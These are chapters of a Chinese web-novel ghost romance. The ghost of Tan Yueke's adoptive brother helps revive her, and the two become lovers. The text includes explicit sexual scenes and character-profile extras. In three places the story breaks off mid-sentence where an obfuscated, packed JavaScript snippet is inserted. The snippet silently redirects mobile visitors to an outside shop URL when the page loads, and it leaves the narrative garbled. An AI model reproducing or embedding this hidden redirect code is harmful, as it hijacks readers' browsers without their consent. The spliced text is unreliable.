她贴近车窗,黑夜的路没那么好认,她盯着瞧了好半会儿也没认出来这是哪里。 谭月珂扭头又看了眼导航,“我看看导航。” 话音刚落,导航的屏幕又忽地熄灭了。 谭月珂攥着自己的口袋,她的掌心冒气细密的冷汗,随意束起的马尾黏糊糊地粘在自己身上,才吃饱喝足的胃忽地变得格外空虚,酸水在胃里翻涌,比起普通的反胃,她甚至有一种若隐若现的烧心感。 “呵呵,我这个车的中控屏最近好像有些失灵,我拿手机的导航看一下。”谭月珂低头看着没有信号的手机,大脑顿时产生了一种强烈的即视感。 鬼打墙…… “师兄,我手机没信号,我猜你的估计也没有……”谭月珂轻叹了一口气,掌心克制不住轻微地发颤。 梁池找了个地方将车停下来看了一眼,果真没信号。 “师兄,你有没有觉得身体有哪里不舒服的地方?” 梁池抬头看向谭月珂,只见她手机上微弱的灯光自下而上打到她的脸上,浓密纤长的眼睫倒影印在她的脸颊上,脸色在手机浅蓝色壁纸的映照下有种莫名的惨白。 他有些茫然地看着谭月珂,摇了摇头,“我没有感觉……怎么了月珂,你不舒服吗?是怀疑今晚的饭菜不干净?” 谭月珂顺势捂住腹部,“嗯,可能是我肠胃不太好,一下子吃撑了。” 她扯出一个笑,紧接着打开车窗看向窗外,眼睛适应外界的昏暗后,视线总算清晰了许多,看见眼熟的槐树,她松了一口气道:“师兄,我知道这里是哪里,这里是我们这边的城隍庙,再过两公里就到我住的地方了。” “我认得路,我指路给你,麻烦师兄再开一开,等会我帮你打车送你回学校吧,今晚真的是太麻烦你了。” “没关系的,不麻烦。”梁池性格本就温和大方,也不在意这点麻烦。 说罢,梁池准备重新启动车子,却发现没有任何动静。 “坏了,车子出故障了吗?” “好像是。” 两个人折腾一番,车子都没任何动静,谭月珂只好先下车透透气,顺便准备看看附近有没有可以停车的地方,大不了她走个两公里回家。 “月珂,你这边是老城区吧,不过怎么感觉很少人住。” “晚上是这样的,也就中元节那段时间热闹一点。”谭月珂揉了揉眼睛,忽地身子浑身僵住。 她看见城隍庙附近有好些虚影。 白的,灰白色的……悬在半空和人差不多一样高,有头有肩,但是看不清脚。 除了在医院,谭月珂就没有见到过这些在她认知里或许是鬼魂的东西。 害怕?她说不上害怕,毕竟自己也是差点死了的人,又见过身边家人一个个离去,谭月珂反倒是不怕死也不怕鬼。 只是也不可能半点害怕的情绪都没有,毕竟她还没有这样近距离地见到过这些东西。 梁池很快发现谭月珂的不对劲,他上前扶住谭月珂,“是不是真的吃坏肚子了,很难受吗?” 谭月珂摆摆手,“师兄,我们回车上吧,我自己能走。” 梁池略微尴尬地松开手,方才他也是见她脸色苍白一时情急了才扶住她。 谭月珂下意识摸了摸口袋,口袋处的布料热得发烫。 是她特意放在自己身上的一个纸人在发烫,果然,事情终于变得不对劲起来了…… 两人一前一后很快走回城隍庙,谭月珂脖颈上的项链忽然滑脱,吊坠滚落,她敏锐地感觉到吊坠跌落,下意识伸手接,吊坠还是脱手滚到了路边。 “师兄等一会儿,我的项链掉了我捡一下。”谭月珂蹲下身在草堆里寻找吊坠。 城隍庙附近都是绿化,不是树木就是草丛。 “要帮忙吗?”梁池站在车旁回头望去。 “没事我找到了!” 谭月珂拿着吊坠朝他挥了挥手,站起身时却未料到树旁有个暗沟,脚一歪整个人重心不稳要往槐树后的小坡倒去。 “小心!”梁池冲过去想拉住她。 他眼睛忽地被一阵莫名的凉风晃得睁不开,指尖只来得及堪堪碰到谭月珂的手腕。 再睁开眼时却发现谭月珂已稳稳地站住。 而她身后不知何时出现了一个男人。 男人的胸膛贴在她的背后,牢牢地抱住了她。 谭月珂下意识看了眼梁池,又回头看向身后的人。 不对,不是人,是鬼。 许思哲,她的哥哥。 “哥哥,吓死我了。”谭月珂转身将脸熟稔地埋到许思哲的怀里,鼻尖都是他身上熟悉的香味,以及略带寒意的体温。 谭月珂抓着他的衣袖,浑身都在轻轻地发抖。 “小珂,没事没事。”许思哲双臂紧紧地箍在她的腰间,掌心轻轻地摩挲着她的后脑。 许思哲看不到埋在自己胸前的妹妹,终于心满意足地露出了一个笑。 以及她想说的不是“哥哥吓死我了”,而是,“哥哥,你终于出现了。” 12.12 “没摔到就好。”许思哲低头,凉意比从前更甚的脸颊若即若离地贴到谭月珂耳畔,轻轻地蹭了蹭。 “哥哥在呢。” 哥哥在呢…… 这句话,是许思哲从小到大不知道说过多少次。 从第一次见到谭月珂被她抱住起,他就觉得,他是谭月珂的哥哥,要时时刻刻都陪在妹妹身边,要保护妹妹。 在看着小珂学滑冰的时候,他要在,不能让她摔跤了。 在小珂夜半被噩梦惊醒时,他要在,抱着哄她重新入睡。 在小珂拍着肚皮喊饿的时,他要在,给她做好吃的。 “哥哥在呢。” 这句话几乎贯穿了许思哲的一生。 在自己甚至不懂八字这两个字是何意时,许思哲就知道自己的八字与小珂是天生一对。 小珂因为他,才能安稳长大。他因为小珂,才能脱离毫无期盼的人生重获新生。 许思哲信命吗,应该是信的。如果不是命,他不会遇到谭月珂,也不会成为她名义上的哥哥。 可是如果问他会不会不信命?许思哲大概也会觉得他不信。因为他不信自己会在小珂刚满二十岁时就撒手人寰。 许思哲以为,他们之间不会那么快遇到生离死别。毕竟这个年龄段的他们无论碰上谁都会被说一句“还年轻呢”。 可是为什么那么年轻就离开人世了。 许思哲大抵是不怕疼也不怕死的,很小的时候,他觉得自己活着和死去的区别并不大,这样的观念直到成为谭月珂的哥哥之后,这样的念头才彻底从他的意识中消失。 他害怕的是自己不在了,谁来照顾谭月珂,小珂会因为他的离世而感到难过吗?他的小珂已经长大了,可是为什么她的生长痛是经历一个又一个亲人的离世。 许思哲至今还记得自己临死前的画面。 原来人快要死的时候,真的已经感受不到痛觉了。 肾上腺素作用下,意识尚且还维持着清醒,身上多处的损伤与伤口都丝毫感觉不到痛苦。 当自己的意识逐渐从突如其来的意外中缓过来时,他想的不是好疼,不是自己流了很多血,他第一个想到的是谭月珂。 妹妹还在家里挂念着他。 明明昨天才通话说过,他出差回家之后要给小珂做她爱吃的菜。 还说过等中秋节假期一起去旅游。 可是现在什么都没了,所有期盼与承诺因为他的死灰飞烟灭。 小珂啊小珂,会为哥哥伤心吗,会一辈子都像记得爸爸妈妈那样记得哥哥吗? 这貌似是许思哲意识残存在肉.体最后的那一刻时想的问题。 但许思哲遇到了自己人生中第二件幸事,原来人死了之后,魂体还会存在于这个世上。 只是一开始,许思哲并不知道自己死了。他的魂体像活着时那样,为小珂做饭,晚上帮她盖好踢开的被子,会帮她按摩酸疼的肩颈。 直到看见谭月珂在为她烧纸钱时,他才知道,原来自己死了…… 而之前自己做的那一切都是灵魂给自己制造的幻觉。 许思哲渐渐恢复生前临死那一刻的记忆,想起自己是怎么遇到车祸意外去世,想起小珂处理后事的画面,想起自己变成鬼魂之后的那一刻便跟在谭月珂身边。 他并不知道一般人死后会经历什么,但他死后的魂体就一直没有离开过谭月珂,他的执念、他的念想、他对自己的恨化作了一团又一团的黑雾,将他长久地笼罩在没有光亮的天地之间。 但许思哲不在意这些,只要他能见到谭月珂,只要他还能陪着谭月珂,甚至在她不注意时,悄悄地帮她、照顾她。许思哲想,他也算是死而无憾。 只是许思哲也会见到小珂在想起他的死时悲伤的哭泣,会见到她还未习惯独自一人生活的磕磕绊绊,会见到她骂他,为什么连一个梦都不托给她。 好在时间能改变一切……只是当许思哲发现谭月珂已经完全接受他离世这件事,并从亲人离世的阴影中彻底走出时,他心底又有些沉闷。 妹妹也许永远都记得他,但从此刻开始,也已经彻底放下他。她又变得像从前那样开朗,变得哪怕自己一个人生活也完全能照顾好自己。 她身边并没有除了许思哲之外的鬼怪,所以也不再需要许思哲的命格护佑她。 小珂不需要他了。可许思哲的生活里只剩下谭月珂。 许思哲依旧在她的身侧护佑她,帮她规避生活中的小意外,帮她解决掉那些根本配不上的贱男人。 然后再自己给自己洗脑,看,妹妹根本离不开他。 他也因为变成鬼魂,更直白地面对自己的爱欲,会轻轻地抱着小珂,会悄悄地亲吻她的额头,会用她听不到的声音一遍遍说我爱你。 许思哲以为,日子就这样过下去也好。 只要他能永远陪在小珂身边,让他永远当一只只会跟在她身侧的鬼魂也好。 可他没想到,小珂的旧病复发倒在家中,离生死只有一步之距。 他是怨鬼,比一般的鬼魂,能小幅度控制人类世界物体的变动,但无法做到拨打救护车这样的事。 许思哲想起前一天下去谭月珂从学院实验室出来时,她和她师姐说过第二天早上八点半在学校仪器中心大门碰面。 许思哲赶去仪器中心时,周芮正在大门站着。 只见她低头看了眼时间,又抬起头四处张望找寻谭月珂的身影。 好在周芮不是那种完全感应不到鬼怪的体质,也不是像小珂那样敏感的体质。许思哲的靠近,让周芮本就不安的心更加浮躁,加上她本来也心细,也足够了解谭月珂。在许思哲的意念影响下,周芮联系到谭月珂最亲近的好友,一同赶去她家中。 可许思哲依旧感觉不安,虽然她们尽快地赶来了,但对于谭月珂这样危急的病来说,可能也是九死一生。 但手术竟意外的成功。 “小珂,小珂,没事的,很快就能醒过来。” 许思哲轻轻握住她的手,他低头看着谭月珂,细细地数着她的睫毛,指尖在她的手臂上无意识地打着圈。 他明明知道谭月珂看不到他,也听不到他的声音,也依旧像生前那样护佑她。 医院里有好几个不知道自己死亡像生前那样活动的鬼魂魂体,一个个都本能地靠近谭月珂,也尽数被许思哲吓跑了。 可谭月珂一直没有醒过来,许思哲渐渐地也发现了异常。 他好像感受不到小珂的存在…… 她的体温是温热的,呼吸是均匀流畅的,掌心的触感是温暖柔软的,可许思哲感觉不到谭月珂的存在。 她的灵魂不在她的身体里了。 许思哲开始惶恐,开始怪罪自己。自己比小珂先死一步,更早地以鬼魂的形式继续存在于世间,可许思哲并不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17061535|193438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是很了解人死后的世界是如何的。 他只知道并非所有鬼魂都能像他这样存在于人世间并与亲人朝夕相处。 因为人间的鬼魂其实不多,他看见的除非怨气过深的厉鬼,就是那些刚死去还没意识到自己死掉的魂体,以及一些类似阴差的鬼魂,因为职责所在,会滞留在人间。 所以小珂的命数,可能本该是旧病复发要死去的。 但如今因为一些许思哲不知道的原因,还能维持正常的生命体征。 也是正当许思哲意识到这点的时候,他见到了自己意想不到的人……不对,准确来说应该是见到了自己意想不到的鬼。 谭月珂的舅婆,黎婉女士。 许思哲对舅婆的印象很深刻,尽管舅婆和小珂感情更好,对他更像是对待邻居家孩子那种的客气又疏离。 但当初就是舅婆亲自找到的他,将他送到谭月珂身边。 许思哲与舅婆并不亲近,但也能多少猜测得到,舅婆不是一般人,就连整个谭家和许家也不是一般的家族。 只是他没想到,舅婆本来就不算是人,只不过是地府七十二司中一位有名有姓的鬼官,闲得无聊来人间一趟。 “小珂命中两次大劫,一次四岁,一次便是如今。” 这是舅婆告诉许思哲的。 原来这是谭月珂人生中最后一道劫难,只要她能度过,那她二十二岁之后几十年的人生里,都风调雨顺无忧无愁。 但这道劫难没这么容易过去。 如果她的魂体始终游离在身体之外,她的肉.体很快会撑不下去。 等待她的不是肉身死亡,像许思哲那样化作鬼,而是连灵魂与意识都彻底消失,这个世界上再也不存在谭月珂这个人。 可谭月珂的魂体一直在身体之外,甚至像许思哲刚死时那样,完全不知道自己濒临死亡,甚至往复做着生前一样的事。 “舅婆,请您告诉我,该怎么做。” 黎婉很满意许思哲的反应,毕竟他可是她精挑细选送到小珂身边的。 “只有你能找到她的魂魄,只有你能将她的魂魄送回她的身体里。”黎婉微微蹙着眉,神色不清。 “我还在人间时,算到小珂这一劫,所以留了后手。只要能将她的魂体引到纸扎铺,在中元节时将她魂魄聚全,就能救活她。” …… 许思哲很快找到了她的主魂,她的魂体还在学校,并不知道自己九死一生的小珂正在为期末周和下学期准备定的课题抓耳挠腮。 他利用中元节阴盛阳衰之时,用了鬼遮眼的障眼法,将谭月珂带来介于人间与冥界的空间。 彼时的谭月珂,做了光怪陆离的梦,在梦中惊醒。 许思哲看着她眼瞳里自己的倒影,轻轻擦过她额角的汗珠。 他兴奋,又开心,却又有惶恐与不安。 许思哲是个怨鬼,连冥界都没去过的怨鬼。长久滞留在人间的他,魂体其实越来越微弱。 强行把小珂困住,又让她能看见他,甚至还要帮她度过最后的劫难。 他不可能不付出代价,最严重的代价是,他也许会魂飞魄散。 如果用自己魂飞魄散灰飞烟灭就能换回谭月珂的命,这世上没有比这更值得的事情了。 许思哲这般想着,垂下头碰了碰小珂的额头,用谭月珂熟悉得不能再熟悉的声音道:“别怕别怕,哥哥在这呢。” 13.13 昏黄的光照应而下,她看着许思哲眼瞳里自己的倒影,黑漆漆的人形,像是阴刻在他眼眸中的画像。 许思哲长睫的影子映在自己的脸上,连带着影子好像都在轻轻地发颤。 而此刻的谭月珂欺压着他,坐在他的身上。 像是第一次见到鬼魂形态的许思哲那晚那样,在她的房间里,在她的床上,将手掐在他的脖颈上。 她温热的掌心清晰地感受到他微微发凉的体温。 谭月珂手掌用了些力道,反正知道掐不死许思哲,她更像泄愤,将自己对哥哥的愤懑都发泄在掐弄他这件事上。 许思哲却只是露出往日那般温和的笑,黑洞洞的眼眸却没有半点骇人的意味,他抬手轻轻地拨开谭月珂的长发,任由她在自己身上发泄。 而谭月珂的神色复杂了许多,生气又或者兴奋以及喜悦,她说不清。 两天前,见到那栋纸扎的小楼时,她就想明白了很多事情。 她故意装作忘记许思哲的忌日,故意和师姐说给哥哥烧纸钱不是什么重要的事,故意和师兄一起回家,故意将那个能让许思哲附体的纸人带在自己身上…… 就这样故意将许思哲引了出来。 明天是他的忌日,今晚该是他魂体最强的时候,只要他想,他就能重新出现在她的眼前。 她的哥哥没有让她失望,终于让她真正意义上地重新见到了许思哲。 此刻天已彻底黑了下来,叫车送走梁池之后,谭月珂就回到了纸扎铺。此刻,师兄应该快回到学校了。而谭月珂想,有空要再请师姐师兄吃一顿饭。 “小珂,是哥哥错了。”许思哲微蹙着眉,发觉她眼底依旧存在的悲伤,他的指尖拂过她眼角,还好没有眼泪,还好没让妹妹又哭了。 “为什么,为什么现在才出现,现在才来找我。”谭月珂明知故问,她知道自从自己醒来之后,许思哲的魂体一直都很虚弱,虚弱到哪怕她恢复了一半的阴阳眼,都感受不到他的存在。 她的哥哥,仅仅只是为了救活她,就差点真正地从这世上消失。 “是哥哥没用,是我的错。”许思哲握住她的手腕,一遍遍地道歉。 “小珂是怎么知道我还在你身边的?” 自从谭月珂醒来之后,许思哲就一直在她身边,她的一举一动都在他眼里,可他并没有发觉谭月珂的异常。甚至最近这两周,小珂看起来已经放弃追查那个“梦境”。 许思哲觉得这般也好,那两天的相伴本就奢望,至少让他知道,小珂是爱他的。 谭月珂露出了个得意的笑,“你们总想瞒着我,但是只要我想知道,就总会让我知道的。” 她从小到大就看过不少和玄学方面有关的文章,家族中又是做白事生意起家的,自己耳濡目染,将自己遇到的这些事串起来,就算猜不出真相,也能揣测个五六分。 看见那个和纸扎铺一模一样格局的纸扎楼时,她就想起师傅之前和她说过的奇闻异事,鬼魂和虚弱的人类魂体是可以依附在纸扎人身上的。 按理来说,魂体也能依附到纸扎的屋子里。所以她记忆里中元节那两天,极有可能是她的魂体进入到那栋纸扎楼中,当时自己病重,恰巧符合魂体虚弱的要求。 在发现那栋纸扎楼的晚上,谭月珂就离谜底越来越接近,直到夜里她梦见了许久未见的舅婆。 起初她甚至认不出那是舅婆,因为眼前的人瞧着也就二三十岁的模样。 舅婆不舍得看她伤心,终究是托梦将一切都告诉了谭月珂。 告诉她命里有两道劫难;告诉她那两天经历的事都是真的;告诉她是许思哲用了鬼遮眼和鬼打墙,将她离体的灵魂引到纸扎楼里;告诉她,许思哲以及她的爸爸妈妈将她的魂魄聚集,才唤醒了她,但代价是许思哲可能会魂飞魄散。 又告诉她最后一个好消息,许思哲没有消失,还在她身边,只是因为太虚弱了,她无法感受到他的存在。 所以谭月珂在许思哲忌日的前一天,按照舅婆的指引以及自己故意设下的陷阱,终于重新见到了许思哲。 “如果不是舅婆,你是不是永远都不会出现了。”谭月珂皱着眉,低头往他的脸上咬了一口,不轻不重,唇齿松开时,正巧有一圈牙印。 只不过他的脸上没有血色,那圈牙印没有泛红出血,而是略微凹陷更为惨白的痕迹。 “不是的,小珂,我也很想你能见到我,是我没有用,哪怕用尽全力,也没法让你感受到我的存在。” “哥哥……”谭月珂觉得这一个月来真的经历了太多事,颠覆了她的世界观,改变了她的世界观,似乎也改变了她的人生。 她还得知自己的爸爸妈妈也还在,只是他们不能像许思哲那样在人间游荡,只能通过托梦见她。 为了让她在梦里第一眼就认出他们,他们在冥界没有选择用更年轻的魂体样貌,而是保留他们死去那年中年时的模样。 一切好像真的像舅婆说的那样,过完这道劫难,她的人生一切都变得更绚丽了。 “哥哥在呢。”许思哲抬头吻着她的眼睫,“别哭,哥哥以后真的会一直陪着你了。” “小珂很棒,因为你,我才没有彻底消失。” 许思哲捏住她的手,鼻尖在她掌心剐蹭着她的掌心,过了好几秒,若有似无地吻到她的掌心上。 “小珂最棒了。” 她松开掐在许思哲脖颈上的手,居高临下地望着他,她仰头忍住了将要不要溢出的泪水,突然露出了个狡黠的笑。 “哥哥,还有更棒的事。” “嗯?”许思哲怔愣片刻,还未反应过来时,他的脖颈上附上一片温热。 小珂的唇贴了上来,熟悉又有些陌生的触感,比起亲吻更像是吮吸与啃咬。 “小珂,慢些,别急。”许思哲的手臂绕在她的腰上,将她的身体紧紧贴在他的身上。 先前因为害怕自己会魂飞魄散,害怕自己以后不能陪着小珂了,所以许思哲哪怕再想和她亲热,也想忍着。尽管最后他还是为了取悦她,与她什么都做了。 如今不一样了,他这辈子都会缠着小珂。 是啊,他是怨鬼,他的怨念,让他不同其他鬼魂,让他能永远待在小珂身边,让他哪怕快要魂飞魄散了也因为最后一丝的念想存活下来。 他们之间不需要生生世世,因为未来也许是无尽的。 许思哲衣服的扣子早就被他自己偷偷解开,是他故意在她面前露出半点身体的轮廓。 他知道,小珂需要泄愤,她想咬他哪儿便咬哪儿。她想对他做什么便让她做什么。 他知道,小珂是爱他的,他知道,他永远是小珂唯一的哥哥,也是唯一的爱人。 屋内被旖旎的喘.息声充填谭月珂只觉得额角冒着细密的汗珠,感受到许思哲的体温因为她的存在渐渐升高,但到底还是比她的要凉一些。 “小珂别紧张,我们又不是没做过。”许思哲吻着她的唇角,带着凉意的指尖探入更深层的温热中,被裹着、被缠绕着。 “我,我想……”谭月珂窝在他的肩窝,下意识绷着身子,那种曾经有过记忆但是又因为不够熟悉感觉有些陌生的感受让她感觉很奇妙。 许思哲忽地笑了笑,低头吻了下去,不知是他的体温,还是她肌肤的敏感,许思哲明显感觉她身子颤了颤。 她在享受,享受他的服侍。 “小珂,没事的,之前不是说过吗,弄到哥哥身上。” “许思哲!” 许思哲仰起头,依旧带着笑,“哥哥在呢。” 谭月珂指甲嵌在他的手臂上,敏锐地感受他每一刻的亲吻与轻抚,屋内再度被暧昧至极的声响充填, 黏腻的、轻缓的拍打声维持着一定的节奏,渐渐加快又时而慢下来。 谭月珂咬着他的胸口,只觉得他好像越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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不过因为谭月珂年纪尚小还在念书,舅婆说会在两年后再来找她。 如今的许思哲能以正常人类的形式出现在别人眼前,但他这具能被人看见的魂体活动范围受限于纸扎铺中。 踏出纸扎铺,又变成其他人见不到的魂体,跟在谭月珂身边。 但是没关系,他并不在意其他人能不能见到他,只要小珂能见到他就足够了。 暑假结束后,谭月珂接下来申报的两个项目都很顺利,但毕设的事情还是弄得她有些头大。 从实验室回到家时,已经快晚上十点了。 谭月珂洗澡的劲儿都没了,还是被许思哲连抱带哄帮她洗的。 她倒在床上,想起晚上用新实验结果拟合的曲线,想起那个丑得看不出任何规律的曲线,突然又哭丧着个脸。 “好想死……”她嘟囔了一句。 “小珂,不要乱说话。”许思哲将叠好的衣服放好,坐回她身侧。 谭月珂眨眨眼,笑了两声,“哥哥你都是鬼了,还忌讳这种东西吗?” “嗯,当然,说话要避谶。” “我才不在意这个,反正死了之后也不会真的终结灵魂,为什么会怕呢。”谭月珂说得很实在。 许思哲不语,只是抱住她,掌心轻抚着她的头,“因为小珂会长命百岁的。” “我长命百岁,那你呢?” 谭月珂眨着眼,看见他若隐若现的胸肌和肌肉之间的沟壑,手又不听使唤地摸了上去。 “我?”许思哲任由她的小动作,抱紧着她,声音突然压低,带了点阴森森的味道,“我已经死了,但是我做鬼也不会放过你的。” 他笑了笑,声音又柔和下来,“因为我要缠着小珂一辈子。” 《死鬼[短篇]》完 晋江文学城/浅困 14.番一[番外] 【谭月珂(xx36年-)】 xx36年生人,女,22-23岁,南城本地人,喜欢粉色和天蓝色。 喜欢吃的食物实在是太多了列举不过来。 就读于南城大学化工类专业,吃饱喝足睡饱按时完成学习任务,是她认为的人生最大理想追求。前两年保研本专业,从小学习优异,是家长嘴里别人家的孩子。 最好的朋友是高中的一个同学,虽然不是同校,但在同一个城市念大学。好友一直有谭月珂家里门口的密码。 虽然家人总是担心她的身体,但自从四岁手术之后身体并没有大碍,因此这次意外来得很突然。因为身体缘故从小到大体育都是免考。 四岁前有阴阳眼,能看见鬼魂,但因为太小了不懂那是鬼,从来没被鬼吓到过。 父母早年从事白事生意,有寿衣店棺材铺也做纸扎类的工作。后来因为担心小珂体质敏感,才转行做了别的生意投资。 【许思哲(xx33年-xx57年)】 xx33年生人,男,出生在北方,24岁时去世,去世那个月正好在南城当地某研究所工作刚满一年。 没有很喜欢的颜色,主要看设计和搭配。但日常还是黑白灰比较多。 身型高大健硕,肌肉匀称完美,不多不少,刚刚好是谭月珂最喜欢的尺寸。 和谭月珂相反,许思哲生前是个完全感受不到鬼魂的人,对玄学八字之类也不感兴趣。但因为小珂喜欢看这方面的故事和书籍,偶尔也会陪她一起看。 死后维持在24岁时健康人类的容貌和身体状态。人生唯一的爱好与追求是妹妹。 变成鬼之后一直能收到妹妹烧的钱和祭品,身上穿的衣服都是她烧的。作为鬼,他在冥界也相当富裕。 【其他设定合集】 1. 谭月珂在20岁的时候拿到了驾照,第一辆车是哥哥送她的生日礼物。 2. 但是她不经常开车,因为谭月珂和许思哲在学校外不远的楼盘有一套房子,她不住在宿舍,而是和许思哲住在校外的家中,开车有时候不太方便。 3. 谭月珂和许思哲虽然从小到大在一个小学一个中学一个大学读书,但因为年龄差,在学校很难经常碰面,往往都是早上一起去上学,放学时才又见面。如果许思哲上体育课或者大课间会特意带零食给谭月珂。 4. 一般人死后会忘记自己死了,等想起自己原来变成鬼的时候,会将人间的事都忘记。而做白事生意的人能积阴德,所以小珂父母去世过后到了冥界,因为心里挂念女儿,因此没有被抹掉人间记忆,并且可以给谭月珂和许思哲托梦。 5. 舅婆很早就算到谭月珂命中这一劫难,顾律师是她生前特意找到的人。有的人表面是大律师,实际上是搞玄学的渡魂人。 6. 谭月珂听说鬼魂真的能收到烧的纸钱之后,只要有好时辰,就烧钱让许思哲给她存着。等她死后,哪怕做鬼也还是个富婆。 7. 谭月珂自从能见到哥哥之后,她才知道许思哲会跟着她一起上课,每次摸鱼感觉身边有个人看着她都很心虚,哪怕这人是她哥。 8. 在公共场合没法和别人看不见的许思哲说话,谭月珂忍不住时一般是在手机上打字给许思哲看。 9. 许思哲偶尔会恃宠而骄,趁着小珂不注意,在外面亲她一口,反正只有小珂能看见他。 10. 冥界是一个类似于与人间平行的世界,大部分正常人死后会来到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17095880|193438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冥界生活。但因为需要维持某些自然规律,人类以为冥界只是一个虚构想象的世界,并不知道真实世界中真的有冥界。谭月珂也是时至今日才知道。 11. 冥界与人间的界线是城隍庙,但一般的鬼是不能回到人间的。除非是死后一直待在人间的怨鬼与厉鬼,以及阴差和要在人间工作的鬼。 12. 许思哲自从死后就一直在小珂身边,没有去过冥界,所以虽然是鬼但对冥界了解甚少。而谭月珂因为在毕业后要答应自己和舅婆的承诺,对冥界的认知甚至比许思哲这只鬼还要全面。 13. 因为冬天怕自己身上温度低,死后变成鬼魂的许思哲在冬天时,会泡很热的热水澡将自己弄暖和了才会和小珂亲热。 14. 谭月珂以前很讨厌夏天,因为真的太热了。但能感受到许思哲存在之后,她特别喜欢和他一起出去玩,毕竟他浑身凉丝丝的,舒坦! 15. 谭月珂目前人生的主要任务还是在学校忙学业课程和实验项目。又恢复两点一线的生活状态。和以前唯一不同的是,她又有哥哥了。 16.中秋节前一天晚上,爸爸妈妈托梦给谭月珂,在梦里吃了一顿大餐。谭月珂起来饿得直叫唤,吃了前两天和许思哲去超市买的冰皮月饼。只是吃着吃着不知道怎么回事吃到许思哲身上去了。她看着哥哥鼓囊白皙的胸肌,突然想起刚刚吃的冰皮月饼。 “像冰皮月饼,嘿嘿。”谭月珂目不转睛地盯着看,声音小得像是在自言自语。 “冰皮月饼?”许思哲微微躬下腰身,“小珂,还要吃冰皮月饼吗?” 谭月珂摇摇头,“我是说你,像冰皮月饼。” 许思哲反应过来失笑道:“那请小珂快点把我吃掉吧。”